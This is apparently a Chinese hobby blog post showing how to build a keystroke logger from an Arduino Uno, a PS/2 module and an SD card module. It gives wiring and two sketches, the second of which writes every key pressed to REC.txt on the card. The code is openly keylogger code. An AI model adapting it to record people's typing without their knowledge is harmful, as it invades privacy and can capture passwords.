键盘记录器demo

用到的设备:

1
2
3
4
5
arduino uno
面包板
公对公&公对母连接线
sd卡模块
ps2模块

先设置ps2模块

接线方式:

1
2
3
4
clock->pin3
data->pin8
gnd->gnd
5v->5v

arduino 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <PS2Keyboard.h>

const int DataPin = 8;
const int IRQpin = 3;

PS2Keyboard keyboard;

void setup() {
delay(1000);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);
Serial.println("Keyboard Test:");
}

void loop() {
if (keyboard.available()) {

// read the next key
char c = keyboard.read();

// check for some of the special keys
if (c == PS2_ENTER) {
Serial.println();
} else if (c == PS2_TAB) {
Serial.print("[Tab]");
} else if (c == PS2_ESC) {
Serial.print("[ESC]");
} else if (c == PS2_PAGEDOWN) {
Serial.print("[PgDn]");
} else if (c == PS2_PAGEUP) {
Serial.print("[PgUp]");
} else if (c == PS2_LEFTARROW) {
Serial.print("[Left]");
} else if (c == PS2_RIGHTARROW) {
Serial.print("[Right]");
} else if (c == PS2_UPARROW) {
Serial.print("[Up]");
} else if (c == PS2_DOWNARROW) {
Serial.print("[Down]");
} else if (c == PS2_DELETE) {
Serial.print("[Del]");
} else {

// otherwise, just print all normal characters
Serial.print(c);
}
}
}

测试是否正常使用,可以看到是可以正常记录的

设置sd卡模块

接线方式:

1
2
3
4
5
6
VCC---电源正极(5V)
GND---电源负极
CS----D4 arduino数字口4
MOSI--D11 arduino数字口11
SCK---D13 arduino数字口13
MIOS--D12 arduino数字口12

总的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <PS2Keyboard.h>
#include <SPI.h>//调用SD卡头文件
#include <SD.h>//调用SD卡头文件

const int DataPin = 8;
const int IRQpin = 3;
//const int chipSelect = 4;

PS2Keyboard keyboard;
File myFile;


void setup()
{
delay(1000);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);//设置串口波特率为9600
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数
Serial.println("键盘测试:");
Serial.println("Initializing SD card...");//正在初始化SD卡

//如果为非则初始化失败
if (!SD.begin(4)) {
Serial.println("initialization failed!");
return;
}
Serial.println("initialization done.");//初始化结束

//打开文件
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数

if (myFile)
{
//如果文件能正确打开,则做一下动作
Serial.print("Writing to...");//串口显示正在写入中。。。
}
else
{
// 如果文件不能正常打开,串口输出错误提示
Serial.println("error opening test.txt");
}
myFile.println("键盘记录开始");//写入数据
Serial.println("done.");
myFile.close();//关闭文件
}

void loop() {
Serial.println("进入loop函数:");

if (keyboard.available())
{
Serial.println("keyboard激活:");


myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数

char c = keyboard.read();//读取键盘输入,将输入存入字符变量c中

// 检测一些特殊按键
if (c == PS2_ENTER) {
//Serial.println();
myFile.println("");//写入数据
} else if (c == PS2_TAB) {
//Serial.print("[Tab]");
myFile.print("[Tab]");//写入数据
} else if (c == PS2_ESC) {
//Serial.print("[ESC]");
myFile.print("[ESC]");//写入数据
} else if (c == PS2_PAGEDOWN) {
//Serial.print("[PgDn]");
myFile.print("[PgDn]");//写入数据
} else if (c == PS2_PAGEUP) {
//Serial.print("[PgUp]");
myFile.print("[PgUp]");//写入数据
} else if (c == PS2_LEFTARROW) {
//Serial.print("[Left]");
myFile.print("[Left]");//写入数据
} else if (c == PS2_RIGHTARROW) {
//Serial.print("[Right]");
myFile.print("[Right]");//写入数据
} else if (c == PS2_UPARROW) {
//Serial.print("[Up]");
myFile.println("[Up]");//写入数据
} else if (c == PS2_DOWNARROW) {
//Serial.print("[Down]");
myFile.print("[Down]");//写入数据
} else if (c == PS2_DELETE) {
//Serial.print("[Del]");
myFile.print("[Del]");//写入数据
} else {
// 如果不是的话,就输出本该输出的字符
Serial.print(c);
myFile.print(c);//写入数据
}
}
myFile.close();//关闭文件
}

然后就可以正常记录了

放一张搞好的图